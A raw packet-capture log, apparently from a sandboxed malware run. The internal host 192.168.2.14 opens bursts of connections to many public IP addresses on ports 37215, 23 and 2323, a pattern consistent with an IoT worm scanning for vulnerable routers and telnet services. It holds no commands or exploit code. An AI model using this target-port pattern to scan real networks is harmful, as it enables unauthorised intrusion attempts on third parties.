Nov 3, 2024 15:33:16.272640944 CET	37215	33156	197.128.126.224	192.168.2.14
Nov 3, 2024 15:33:16.273041964 CET	37215	39802	156.66.70.102	192.168.2.14
Nov 3, 2024 15:33:16.273050070 CET	37215	39802	156.66.70.102	192.168.2.14
Nov 3, 2024 15:33:16.273389101 CET	36234	37215	192.168.2.14	41.234.21.108
Nov 3, 2024 15:33:16.273410082 CET	37215	56226	41.39.192.109	192.168.2.14
Nov 3, 2024 15:33:16.273488998 CET	33170	23	192.168.2.14	154.129.35.126
Nov 3, 2024 15:33:16.274111986 CET	35636	37215	192.168.2.14	197.149.118.43
Nov 3, 2024 15:33:16.274111986 CET	35636	37215	192.168.2.14	197.149.118.43
Nov 3, 2024 15:33:16.274811983 CET	35890	37215	192.168.2.14	197.149.118.43
Nov 3, 2024 15:33:16.274908066 CET	50644	23	192.168.2.14	110.26.246.144
Nov 3, 2024 15:33:16.276221991 CET	38958	37215	192.168.2.14	156.148.197.220
Nov 3, 2024 15:33:16.276325941 CET	44074	23	192.168.2.14	46.238.193.200
Nov 3, 2024 15:33:16.276556969 CET	34042	37215	192.168.2.14	156.34.112.245
Nov 3, 2024 15:33:16.276557922 CET	53872	37215	192.168.2.14	156.2.101.153
Nov 3, 2024 15:33:16.276557922 CET	40546	37215	192.168.2.14	156.144.185.8
Nov 3, 2024 15:33:16.276561975 CET	35424	37215	192.168.2.14	197.219.201.144
Nov 3, 2024 15:33:16.276567936 CET	38782	37215	192.168.2.14	41.188.19.186
Nov 3, 2024 15:33:16.276570082 CET	42844	37215	192.168.2.14	156.226.246.49
Nov 3, 2024 15:33:16.276571035 CET	56842	37215	192.168.2.14	156.92.21.112
Nov 3, 2024 15:33:16.276571989 CET	52412	37215	192.168.2.14	197.8.90.91
Nov 3, 2024 15:33:16.276571989 CET	38854	37215	192.168.2.14	156.75.53.41
Nov 3, 2024 15:33:16.276571989 CET	50334	37215	192.168.2.14	197.185.188.104
Nov 3, 2024 15:33:16.277043104 CET	37215	57956	197.195.63.25	192.168.2.14
Nov 3, 2024 15:33:16.277055979 CET	37215	57956	197.195.63.25	192.168.2.14
Nov 3, 2024 15:33:16.277062893 CET	23	41910	153.59.235.162	192.168.2.14
Nov 3, 2024 15:33:16.277070999 CET	37215	60672	197.233.247.204	192.168.2.14
Nov 3, 2024 15:33:16.277079105 CET	37215	35160	197.185.36.5	192.168.2.14
Nov 3, 2024 15:33:16.277086020 CET	37215	35160	197.185.36.5	192.168.2.14
Nov 3, 2024 15:33:16.277090073 CET	23	39006	222.182.50.241	192.168.2.14
Nov 3, 2024 15:33:16.277092934 CET	37215	49484	41.25.131.133	192.168.2.14
Nov 3, 2024 15:33:16.277100086 CET	37215	49484	41.25.131.133	192.168.2.14
Nov 3, 2024 15:33:16.277107000 CET	37215	49734	41.25.131.133	192.168.2.14
Nov 3, 2024 15:33:16.277147055 CET	49734	37215	192.168.2.14	41.25.131.133
Nov 3, 2024 15:33:16.277431011 CET	37215	41154	156.32.202.74	192.168.2.14
Nov 3, 2024 15:33:16.277605057 CET	47258	37215	192.168.2.14	41.5.239.250
Nov 3, 2024 15:33:16.277700901 CET	53542	23	192.168.2.14	207.202.214.70
Nov 3, 2024 15:33:16.278312922 CET	37215	44712	156.123.218.251	192.168.2.14
Nov 3, 2024 15:33:16.278321981 CET	37215	33156	197.128.126.224	192.168.2.14
Nov 3, 2024 15:33:16.278328896 CET	37215	56016	41.101.178.225	192.168.2.14
Nov 3, 2024 15:33:16.278336048 CET	37215	35160	197.185.36.5	192.168.2.14
Nov 3, 2024 15:33:16.278338909 CET	37215	39802	156.66.70.102	192.168.2.14
Nov 3, 2024 15:33:16.278346062 CET	37215	57956	197.195.63.25	192.168.2.14
Nov 3, 2024 15:33:16.278352022 CET	37215	49484	41.25.131.133	192.168.2.14
Nov 3, 2024 15:33:16.278358936 CET	37215	35982	41.234.21.108	192.168.2.14
Nov 3, 2024 15:33:16.278362036 CET	37215	35982	41.234.21.108	192.168.2.14
Nov 3, 2024 15:33:16.278943062 CET	37215	35636	197.149.118.43	192.168.2.14
Nov 3, 2024 15:33:16.279000998 CET	46564	37215	192.168.2.14	41.207.137.58
Nov 3, 2024 15:33:16.279092073 CET	57296	23	192.168.2.14	2.206.223.69
Nov 3, 2024 15:33:16.280415058 CET	45260	37215	192.168.2.14	41.71.170.13
Nov 3, 2024 15:33:16.280502081 CET	43668	23	192.168.2.14	159.145.97.46
Nov 3, 2024 15:33:16.280554056 CET	60672	37215	192.168.2.14	197.233.247.204
Nov 3, 2024 15:33:16.281817913 CET	51844	37215	192.168.2.14	41.19.26.16
Nov 3, 2024 15:33:16.281907082 CET	55168	23	192.168.2.14	220.244.73.76
Nov 3, 2024 15:33:16.282053947 CET	37215	35636	197.149.118.43	192.168.2.14
Nov 3, 2024 15:33:16.283015013 CET	37215	49734	41.25.131.133	192.168.2.14
Nov 3, 2024 15:33:16.283219099 CET	58374	37215	192.168.2.14	41.248.183.26
Nov 3, 2024 15:33:16.283310890 CET	52524	23	192.168.2.14	27.228.15.74
Nov 3, 2024 15:33:16.284560919 CET	49586	23	192.168.2.14	77.209.216.96
Nov 3, 2024 15:33:16.284560919 CET	49734	37215	192.168.2.14	41.25.131.133
Nov 3, 2024 15:33:16.284611940 CET	50250	37215	192.168.2.14	197.144.117.110
Nov 3, 2024 15:33:16.284706116 CET	60248	23	192.168.2.14	24.1.86.160
Nov 3, 2024 15:33:16.286012888 CET	60014	37215	192.168.2.14	197.118.205.67
Nov 3, 2024 15:33:16.286106110 CET	41796	2323	192.168.2.14	123.63.83.91
Nov 3, 2024 15:33:16.286405087 CET	37215	45260	41.71.170.13	192.168.2.14
Nov 3, 2024 15:33:16.286442995 CET	45260	37215	192.168.2.14	41.71.170.13
Nov 3, 2024 15:33:16.287441969 CET	46234	37215	192.168.2.14	41.121.61.60
Nov 3, 2024 15:33:16.287527084 CET	44142	23	192.168.2.14	88.102.67.98
Nov 3, 2024 15:33:16.288553953 CET	58078	37215	192.168.2.14	197.33.149.67
Nov 3, 2024 15:33:16.288562059 CET	56688	37215	192.168.2.14	197.247.199.66
Nov 3, 2024 15:33:16.288563013 CET	56018	37215	192.168.2.14	156.82.38.37
Nov 3, 2024 15:33:16.288574934 CET	55056	37215	192.168.2.14	41.27.247.56
Nov 3, 2024 15:33:16.288579941 CET	50214	37215	192.168.2.14	41.1.57.191
Nov 3, 2024 15:33:16.288584948 CET	57578	37215	192.168.2.14	156.255.190.87
Nov 3, 2024 15:33:16.288584948 CET	45400	37215	192.168.2.14	197.41.206.53
Nov 3, 2024 15:33:16.288587093 CET	50484	37215	192.168.2.14	156.239.160.12
Nov 3, 2024 15:33:16.288597107 CET	39382	37215	192.168.2.14	197.137.99.26
Nov 3, 2024 15:33:16.288598061 CET	45638	37215	192.168.2.14	156.14.58.244
Nov 3, 2024 15:33:16.288603067 CET	38572	37215	192.168.2.14	156.157.201.18
Nov 3, 2024 15:33:16.288604021 CET	49480	37215	192.168.2.14	156.223.113.153
Nov 3, 2024 15:33:16.288604021 CET	42918	37215	192.168.2.14	156.189.98.220
Nov 3, 2024 15:33:16.288611889 CET	45420	37215	192.168.2.14	197.30.235.134
Nov 3, 2024 15:33:16.288611889 CET	57606	37215	192.168.2.14	41.100.0.212
Nov 3, 2024 15:33:16.288621902 CET	54184	37215	192.168.2.14	41.149.194.71
Nov 3, 2024 15:33:16.288625002 CET	52998	37215	192.168.2.14	41.109.44.99
Nov 3, 2024 15:33:16.288861036 CET	46650	37215	192.168.2.14	156.221.41.86
Nov 3, 2024 15:33:16.288954020 CET	37646	23	192.168.2.14	43.82.220.78
Nov 3, 2024 15:33:16.290287971 CET	38892	37215	192.168.2.14	41.151.21.249
Nov 3, 2024 15:33:16.290487051 CET	48910	23	192.168.2.14	90.104.18.54
Nov 3, 2024 15:33:16.291703939 CET	59766	37215	192.168.2.14	156.231.69.163
Nov 3, 2024 15:33:16.291907072 CET	47736	23	192.168.2.14	39.229.132.186
Nov 3, 2024 15:33:16.292092085 CET	37215	45260	41.71.170.13	192.168.2.14
Nov 3, 2024 15:33:16.292548895 CET	45260	37215	192.168.2.14	41.71.170.13
Nov 3, 2024 15:33:16.293129921 CET	36854	37215	192.168.2.14	41.74.208.142
Nov 3, 2024 15:33:16.293226957 CET	51574	23	192.168.2.14	80.51.7.113
Nov 3, 2024 15:33:16.294451952 CET	40976	37215	192.168.2.14	197.197.133.157
Nov 3, 2024 15:33:16.294543028 CET	45156	23	192.168.2.14	176.138.112.229
Nov 3, 2024 15:33:16.296526909 CET	37215	59766	156.231.69.163	192.168.2.14
Nov 3, 2024 15:33:16.296569109 CET	59766	37215	192.168.2.14	156.231.69.163
Nov 3, 2024 15:33:16.297291994 CET	53488	37215	192.168.2.14	41.156.95.15
Nov 3, 2024 15:33:16.297396898 CET	37836	23	192.168.2.14	8.221.162.42
Nov 3, 2024 15:33:16.298681974 CET	43792	37215	192.168.2.14	156.222.223.241
Nov 3, 2024 15:33:16.298778057 CET	48062	23	192.168.2.14	152.247.76.62
Nov 3, 2024 15:33:16.299695015 CET	42602	23	192.168.2.14	63.104.212.7
Nov 3, 2024 15:33:16.299855947 CET	34862	37215	192.168.2.14	197.9.225.170
Nov 3, 2024 15:33:16.300596952 CET	42754	23	192.168.2.14	63.104.212.7
Nov 3, 2024 15:33:16.301376104 CET	39706	23	192.168.2.14	79.216.36.37
Nov 3, 2024 15:33:16.301482916 CET	53140	37215	192.168.2.14	41.244.158.44
Nov 3, 2024 15:33:16.301994085 CET	39878	23	192.168.2.14	79.216.36.37
Nov 3, 2024 15:33:16.302757025 CET	52846	23	192.168.2.14	179.163.235.223
Nov 3, 2024 15:33:16.302858114 CET	39886	37215	192.168.2.14	41.109.214.110
Nov 3, 2024 15:33:16.303332090 CET	53020	23	192.168.2.14	179.163.235.223
Nov 3, 2024 15:33:16.304142952 CET	47860	23	192.168.2.14	169.179.201.140
Nov 3, 2024 15:33:16.304245949 CET	57852	37215	192.168.2.14	197.213.238.3
Nov 3, 2024 15:33:16.304538012 CET	23	42602	63.104.212.7	192.168.2.14
Nov 3, 2024 15:33:16.304735899 CET	37215	34862	197.9.225.170	192.168.2.14
Nov 3, 2024 15:33:16.304743052 CET	48036	23	192.168.2.14	169.179.201.140
Nov 3, 2024 15:33:16.304774046 CET	34862	37215	192.168.2.14	197.9.225.170
Nov 3, 2024 15:33:16.305499077 CET	54432	23	192.168.2.14	115.167.223.205
Nov 3, 2024 15:33:16.305594921 CET	52940	37215	192.168.2.14	156.102.137.205
Nov 3, 2024 15:33:16.306061029 CET	54610	23	192.168.2.14	115.167.223.205
Nov 3, 2024 15:33:16.306216002 CET	23	39706	79.216.36.37	192.168.2.14
Nov 3, 2024 15:33:16.306794882 CET	51750	23	192.168.2.14	76.19.127.181
Nov 3, 2024 15:33:16.306890011 CET	58790	37215	192.168.2.14	156.2.29.60
Nov 3, 2024 15:33:16.307357073 CET	51930	23	192.168.2.14	76.19.127.181
Nov 3, 2024 15:33:16.308197021 CET	35648	37215	192.168.2.14	197.86.72.226
Nov 3, 2024 15:33:16.308667898 CET	60672	37215	192.168.2.14	197.233.247.204
Nov 3, 2024 15:33:16.308685064 CET	50334	37215	192.168.2.14	197.185.188.104
Nov 3, 2024 15:33:16.308685064 CET	50334	37215	192.168.2.14	197.185.188.104
Nov 3, 2024 15:33:16.308974028 CET	50692	37215	192.168.2.14	197.185.188.104
Nov 3, 2024 15:33:16.309360981 CET	52412	37215	192.168.2.14	197.8.90.91
Nov 3, 2024 15:33:16.309360981 CET	52412	37215	192.168.2.14	197.8.90.91
Nov 3, 2024 15:33:16.309447050 CET	23	52846	179.163.235.223	192.168.2.14
Nov 3, 2024 15:33:16.309454918 CET	23	47860	169.179.201.140	192.168.2.14
Nov 3, 2024 15:33:16.309669018 CET	52770	37215	192.168.2.14	197.8.90.91
Nov 3, 2024 15:33:16.309920073 CET	37215	34862	197.9.225.170	192.168.2.14
Nov 3, 2024 15:33:16.310033083 CET	49734	37215	192.168.2.14	41.25.131.133
Nov 3, 2024 15:33:16.310050011 CET	37396	37215	192.168.2.14	41.151.143.90
Nov 3, 2024 15:33:16.310050011 CET	37396	37215	192.168.2.14	41.151.143.90
Nov 3, 2024 15:33:16.310339928 CET	37746	37215	192.168.2.14	41.151.143.90
Nov 3, 2024 15:33:16.310714960 CET	35424	37215	192.168.2.14	197.219.201.144
Nov 3, 2024 15:33:16.310714960 CET	35424	37215	192.168.2.14	197.219.201.144
Nov 3, 2024 15:33:16.311009884 CET	35774	37215	192.168.2.14	197.219.201.144
Nov 3, 2024 15:33:16.311094999 CET	23	54432	115.167.223.205	192.168.2.14
Nov 3, 2024 15:33:16.311400890 CET	33378	37215	192.168.2.14	197.34.80.190
Nov 3, 2024 15:33:16.311400890 CET	33378	37215	192.168.2.14	197.34.80.190
Nov 3, 2024 15:33:16.311687946 CET	33728	37215	192.168.2.14	197.34.80.190
Nov 3, 2024 15:33:16.311988115 CET	23	51750	76.19.127.181	192.168.2.14
Nov 3, 2024 15:33:16.312053919 CET	56842	37215	192.168.2.14	156.92.21.112
Nov 3, 2024 15:33:16.312053919 CET	56842	37215	192.168.2.14	156.92.21.112
Nov 3, 2024 15:33:16.312352896 CET	57190	37215	192.168.2.14	156.92.21.112
Nov 3, 2024 15:33:16.312552929 CET	34862	37215	192.168.2.14	197.9.225.170
Nov 3, 2024 15:33:16.312748909 CET	38854	37215	192.168.2.14	156.75.53.41
Nov 3, 2024 15:33:16.312748909 CET	38854	37215	192.168.2.14	156.75.53.41
Nov 3, 2024 15:33:16.313045979 CET	39202	37215	192.168.2.14	156.75.53.41
Nov 3, 2024 15:33:16.313420057 CET	42844	37215	192.168.2.14	156.226.246.49
Nov 3, 2024 15:33:16.313420057 CET	42844	37215	192.168.2.14	156.226.246.49
Nov 3, 2024 15:33:16.313709974 CET	43192	37215	192.168.2.14	156.226.246.49
Nov 3, 2024 15:33:16.314085007 CET	34042	37215	192.168.2.14	156.34.112.245
Nov 3, 2024 15:33:16.314085007 CET	34042	37215	192.168.2.14	156.34.112.245
Nov 3, 2024 15:33:16.314378977 CET	34390	37215	192.168.2.14	156.34.112.245
Nov 3, 2024 15:33:16.314544916 CET	37215	60672	197.233.247.204	192.168.2.14
Nov 3, 2024 15:33:16.314554930 CET	37215	50334	197.185.188.104	192.168.2.14
Nov 3, 2024 15:33:16.314563036 CET	37215	50334	197.185.188.104	192.168.2.14
Nov 3, 2024 15:33:16.314570904 CET	37215	52412	197.8.90.91	192.168.2.14
Nov 3, 2024 15:33:16.314744949 CET	40546	37215	192.168.2.14	156.144.185.8
Nov 3, 2024 15:33:16.314744949 CET	40546	37215	192.168.2.14	156.144.185.8
Nov 3, 2024 15:33:16.314770937 CET	37215	52412	197.8.90.91	192.168.2.14
Nov 3, 2024 15:33:16.315032959 CET	40894	37215	192.168.2.14	156.144.185.8
Nov 3, 2024 15:33:16.315414906 CET	53872	37215	192.168.2.14	156.2.101.153
Nov 3, 2024 15:33:16.315414906 CET	53872	37215	192.168.2.14	156.2.101.153
Nov 3, 2024 15:33:16.315701008 CET	54220	37215	192.168.2.14	156.2.101.153
Nov 3, 2024 15:33:16.316071033 CET	38782	37215	192.168.2.14	41.188.19.186
Nov 3, 2024 15:33:16.316071987 CET	38782	37215	192.168.2.14	41.188.19.186
Nov 3, 2024 15:33:16.316369057 CET	39130	37215	192.168.2.14	41.188.19.186
Nov 3, 2024 15:33:16.316550970 CET	34114	23	192.168.2.14	163.162.104.40
Nov 3, 2024 15:33:16.316555023 CET	41062	23	192.168.2.14	39.166.154.81
Nov 3, 2024 15:33:16.316827059 CET	45260	37215	192.168.2.14	41.71.170.13
Nov 3, 2024 15:33:16.316827059 CET	45260	37215	192.168.2.14	41.71.170.13
Nov 3, 2024 15:33:16.317115068 CET	45362	37215	192.168.2.14	41.71.170.13
Nov 3, 2024 15:33:16.317498922 CET	59766	37215	192.168.2.14	156.231.69.163
Nov 3, 2024 15:33:16.317498922 CET	59766	37215	192.168.2.14	156.231.69.163
Nov 3, 2024 15:33:16.317795992 CET	59838	37215	192.168.2.14	156.231.69.163
Nov 3, 2024 15:33:16.318172932 CET	34862	37215	192.168.2.14	197.9.225.170
Nov 3, 2024 15:33:16.318172932 CET	34862	37215	192.168.2.14	197.9.225.170
Nov 3, 2024 15:33:16.318470001 CET	34916	37215	192.168.2.14	197.9.225.170
Nov 3, 2024 15:33:16.319188118 CET	37215	49734	41.25.131.133	192.168.2.14
Nov 3, 2024 15:33:16.319197893 CET	37215	37396	41.151.143.90	192.168.2.14
Nov 3, 2024 15:33:16.319220066 CET	37215	37396	41.151.143.90	192.168.2.14
Nov 3, 2024 15:33:16.319227934 CET	37215	35424	197.219.201.144	192.168.2.14
Nov 3, 2024 15:33:16.319236040 CET	37215	35424	197.219.201.144	192.168.2.14
Nov 3, 2024 15:33:16.319525957 CET	37215	33378	197.34.80.190	192.168.2.14
Nov 3, 2024 15:33:16.319534063 CET	37215	33378	197.34.80.190	192.168.2.14
Nov 3, 2024 15:33:16.319597006 CET	37215	33728	197.34.80.190	192.168.2.14
Nov 3, 2024 15:33:16.319637060 CET	33728	37215	192.168.2.14	197.34.80.190
Nov 3, 2024 15:33:16.319658995 CET	33728	37215	192.168.2.14	197.34.80.190
Nov 3, 2024 15:33:16.319717884 CET	37215	56842	156.92.21.112	192.168.2.14
Nov 3, 2024 15:33:16.319726944 CET	37215	56842	156.92.21.112	192.168.2.14
Nov 3, 2024 15:33:16.324090004 CET	37215	38854	156.75.53.41	192.168.2.14
Nov 3, 2024 15:33:16.324098110 CET	37215	38854	156.75.53.41	192.168.2.14
Nov 3, 2024 15:33:16.324109077 CET	37215	42844	156.226.246.49	192.168.2.14
Nov 3, 2024 15:33:16.324115992 CET	37215	42844	156.226.246.49	192.168.2.14
Nov 3, 2024 15:33:16.324120045 CET	37215	34042	156.34.112.245	192.168.2.14
Nov 3, 2024 15:33:16.324126005 CET	37215	34042	156.34.112.245	192.168.2.14
Nov 3, 2024 15:33:16.324132919 CET	37215	40546	156.144.185.8	192.168.2.14
Nov 3, 2024 15:33:16.324136019 CET	37215	40546	156.144.185.8	192.168.2.14
Nov 3, 2024 15:33:16.324142933 CET	37215	53872	156.2.101.153	192.168.2.14
Nov 3, 2024 15:33:16.324148893 CET	37215	53872	156.2.101.153	192.168.2.14
Nov 3, 2024 15:33:16.324157000 CET	37215	38782	41.188.19.186	192.168.2.14
Nov 3, 2024 15:33:16.324167013 CET	37215	38782	41.188.19.186	192.168.2.14
Nov 3, 2024 15:33:16.324170113 CET	37215	45260	41.71.170.13	192.168.2.14
Nov 3, 2024 15:33:16.324177027 CET	37215	45260	41.71.170.13	192.168.2.14
Nov 3, 2024 15:33:16.324183941 CET	37215	59766	156.231.69.163	192.168.2.14
Nov 3, 2024 15:33:16.324192047 CET	37215	34862	197.9.225.170	192.168.2.14
Nov 3, 2024 15:33:16.324198961 CET	37215	34862	197.9.225.170	192.168.2.14
Nov 3, 2024 15:33:16.328793049 CET	37215	33728	197.34.80.190	192.168.2.14
Nov 3, 2024 15:33:16.328835011 CET	33728	37215	192.168.2.14	197.34.80.190
Nov 3, 2024 15:33:16.348550081 CET	35786	23	192.168.2.14	86.103.62.146
Nov 3, 2024 15:33:16.355843067 CET	23	35786	86.103.62.146	192.168.2.14
Nov 3, 2024 15:33:16.355884075 CET	35786	23	192.168.2.14	86.103.62.146
Nov 3, 2024 15:33:16.369863987 CET	37215	59766	156.231.69.163	192.168.2.14
Nov 3, 2024 15:33:16.515640974 CET	23	37780	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:16.515939951 CET	37780	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:16.516531944 CET	37948	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:16.520760059 CET	23	37780	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:16.521315098 CET	23	37948	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:16.521373987 CET	37948	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:16.526498079 CET	23	37948	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:16.526585102 CET	37948	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:16.526927948 CET	37950	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:16.531559944 CET	23	37948	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:16.531733990 CET	23	37950	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:16.531805992 CET	37950	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:16.536968946 CET	23	37950	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:16.537059069 CET	37950	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:16.537373066 CET	37952	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:16.542064905 CET	23	37950	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:16.542244911 CET	23	37952	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:16.542316914 CET	37952	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:16.547508001 CET	23	37952	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:16.547593117 CET	37952	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:16.547899961 CET	37954	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:16.552339077 CET	23	37952	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:16.552740097 CET	23	37954	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:16.552781105 CET	37954	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:16.557952881 CET	23	37954	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:16.558023930 CET	37954	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:16.558315992 CET	37956	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:16.562845945 CET	23	37954	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:16.563080072 CET	23	37956	182.42.147.78	192.168.2.14
Nov 3, 2024 15:33:16.563128948 CET	37956	23	192.168.2.14	182.42.147.78
Nov 3, 2024 15:33:16.828233004 CET	23	59912	39.199.141.240	192.168.2.14
Nov 3, 2024 15:33:16.828423977 CET	59912	23	192.168.2.14	39.199.141.240
Nov 3, 2024 15:33:16.828826904 CET	60960	23	192.168.2.14	39.199.141.240
Nov 3, 2024 15:33:16.833188057 CET	23	59912	39.199.141.240	192.168.2.14
Nov 3, 2024 15:33:16.833554029 CET	23	60960	39.199.141.240	192.168.2.14
Nov 3, 2024 15:33:16.833606005 CET	60960	23	192.168.2.14	39.199.141.240
Nov 3, 2024 15:33:17.009546995 CET	23	47082	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:17.009738922 CET	47082	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:17.010189056 CET	47304	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:17.014523029 CET	23	47082	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:17.014991999 CET	23	47304	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:17.015053988 CET	47304	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:17.076210976 CET	37215	59766	156.231.69.163	192.168.2.14
Nov 3, 2024 15:33:17.076417923 CET	59766	37215	192.168.2.14	156.231.69.163
Nov 3, 2024 15:33:17.100358963 CET	23	59790	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:17.100498915 CET	59790	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:17.100902081 CET	60664	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:17.105333090 CET	23	59790	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:17.105675936 CET	23	60664	43.3.41.32	192.168.2.14
Nov 3, 2024 15:33:17.105813026 CET	60664	23	192.168.2.14	43.3.41.32
Nov 3, 2024 15:33:17.276555061 CET	50644	23	192.168.2.14	110.26.246.144
Nov 3, 2024 15:33:17.276556015 CET	38958	37215	192.168.2.14	156.148.197.220
Nov 3, 2024 15:33:17.276567936 CET	39076	23	192.168.2.14	222.182.50.241
Nov 3, 2024 15:33:17.276567936 CET	41980	23	192.168.2.14	153.59.235.162
Nov 3, 2024 15:33:17.276568890 CET	35890	37215	192.168.2.14	197.149.118.43
Nov 3, 2024 15:33:17.276573896 CET	44074	23	192.168.2.14	46.238.193.200
Nov 3, 2024 15:33:17.276576042 CET	40244	2323	192.168.2.14	178.15.19.233
Nov 3, 2024 15:33:17.276573896 CET	58212	37215	192.168.2.14	197.195.63.25
Nov 3, 2024 15:33:17.276575089 CET	40058	37215	192.168.2.14	156.66.70.102
Nov 3, 2024 15:33:17.276583910 CET	33394	37215	192.168.2.14	197.128.126.224
Nov 3, 2024 15:33:17.276585102 CET	36234	37215	192.168.2.14	41.234.21.108
Nov 3, 2024 15:33:17.276585102 CET	44954	37215	192.168.2.14	156.123.218.251
Nov 3, 2024 15:33:17.276585102 CET	56470	37215	192.168.2.14	41.39.192.109
Nov 3, 2024 15:33:17.276587009 CET	33170	23	192.168.2.14	154.129.35.126
Nov 3, 2024 15:33:17.276587009 CET	52636	37215	192.168.2.14	197.240.156.4
Nov 3, 2024 15:33:17.276585102 CET	35418	37215	192.168.2.14	197.185.36.5
Nov 3, 2024 15:33:17.276593924 CET	56258	37215	192.168.2.14	41.101.178.225
Nov 3, 2024 15:33:17.276602030 CET	41404	37215	192.168.2.14	156.32.202.74
Nov 3, 2024 15:33:17.276602030 CET	57208	37215	192.168.2.14	197.242.202.49
Nov 3, 2024 15:33:17.281872988 CET	23	50644	110.26.246.144	192.168.2.14
Nov 3, 2024 15:33:17.281884909 CET	37215	38958	156.148.197.220	192.168.2.14
Nov 3, 2024 15:33:17.281893015 CET	37215	35890	197.149.118.43	192.168.2.14
Nov 3, 2024 15:33:17.281904936 CET	23	39076	222.182.50.241	192.168.2.14
Nov 3, 2024 15:33:17.281913996 CET	2323	40244	178.15.19.233	192.168.2.14
Nov 3, 2024 15:33:17.281923056 CET	23	41980	153.59.235.162	192.168.2.14
Nov 3, 2024 15:33:17.281927109 CET	50644	23	192.168.2.14	110.26.246.144
Nov 3, 2024 15:33:17.281939030 CET	38958	37215	192.168.2.14	156.148.197.220
Nov 3, 2024 15:33:17.281943083 CET	37215	33394	197.128.126.224	192.168.2.14
Nov 3, 2024 15:33:17.281951904 CET	39076	23	192.168.2.14	222.182.50.241
Nov 3, 2024 15:33:17.281953096 CET	35890	37215	192.168.2.14	197.149.118.43
Nov 3, 2024 15:33:17.281953096 CET	23	33170	154.129.35.126	192.168.2.14
Nov 3, 2024 15:33:17.281964064 CET	40244	2323	192.168.2.14	178.15.19.233
Nov 3, 2024 15:33:17.281971931 CET	41980	23	192.168.2.14	153.59.235.162
Nov 3, 2024 15:33:17.281972885 CET	37215	35418	197.185.36.5	192.168.2.14
Nov 3, 2024 15:33:17.281975031 CET	33394	37215	192.168.2.14	197.128.126.224
Nov 3, 2024 15:33:17.281982899 CET	37215	52636	197.240.156.4	192.168.2.14
Nov 3, 2024 15:33:17.281987906 CET	37215	36234	41.234.21.108	192.168.2.14
Nov 3, 2024 15:33:17.281991959 CET	37215	56258	41.101.178.225	192.168.2.14
Nov 3, 2024 15:33:17.281994104 CET	33170	23	192.168.2.14	154.129.35.126
Nov 3, 2024 15:33:17.282001019 CET	23	44074	46.238.193.200	192.168.2.14
Nov 3, 2024 15:33:17.282013893 CET	37215	44954	156.123.218.251	192.168.2.14
Nov 3, 2024 15:33:17.282017946 CET	52636	37215	192.168.2.14	197.240.156.4
Nov 3, 2024 15:33:17.282021046 CET	35418	37215	192.168.2.14	197.185.36.5
Nov 3, 2024 15:33:17.282021999 CET	36234	37215	192.168.2.14	41.234.21.108
Nov 3, 2024 15:33:17.282023907 CET	37215	41404	156.32.202.74	192.168.2.14
Nov 3, 2024 15:33:17.282026052 CET	56258	37215	192.168.2.14	41.101.178.225
Nov 3, 2024 15:33:17.282035112 CET	37215	58212	197.195.63.25	192.168.2.14
Nov 3, 2024 15:33:17.282042027 CET	44074	23	192.168.2.14	46.238.193.200
Nov 3, 2024 15:33:17.282043934 CET	37215	56470	41.39.192.109	192.168.2.14
Nov 3, 2024 15:33:17.282046080 CET	44954	37215	192.168.2.14	156.123.218.251
Nov 3, 2024 15:33:17.282053947 CET	37215	57208	197.242.202.49	192.168.2.14
Nov 3, 2024 15:33:17.282061100 CET	41404	37215	192.168.2.14	156.32.202.74
Nov 3, 2024 15:33:17.282063007 CET	58212	37215	192.168.2.14	197.195.63.25
Nov 3, 2024 15:33:17.282064915 CET	37215	40058	156.66.70.102	192.168.2.14
Nov 3, 2024 15:33:17.282074928 CET	56470	37215	192.168.2.14	41.39.192.109
Nov 3, 2024 15:33:17.282083988 CET	35890	37215	192.168.2.14	197.149.118.43
Nov 3, 2024 15:33:17.282083988 CET	57208	37215	192.168.2.14	197.242.202.49
Nov 3, 2024 15:33:17.282099009 CET	40058	37215	192.168.2.14	156.66.70.102
Nov 3, 2024 15:33:17.282131910 CET	4847	37215	192.168.2.14	156.236.220.49
Nov 3, 2024 15:33:17.282140970 CET	4847	37215	192.168.2.14	197.73.146.1
Nov 3, 2024 15:33:17.282140970 CET	4833	2323	192.168.2.14	105.204.16.166
Nov 3, 2024 15:33:17.282154083 CET	4833	23	192.168.2.14	97.40.231.69
Nov 3, 2024 15:33:17.282155991 CET	4847	37215	192.168.2.14	197.248.173.139
Nov 3, 2024 15:33:17.282155991 CET	4847	37215	192.168.2.14	197.48.220.91
Nov 3, 2024 15:33:17.282165051 CET	4833	23	192.168.2.14	59.36.130.209
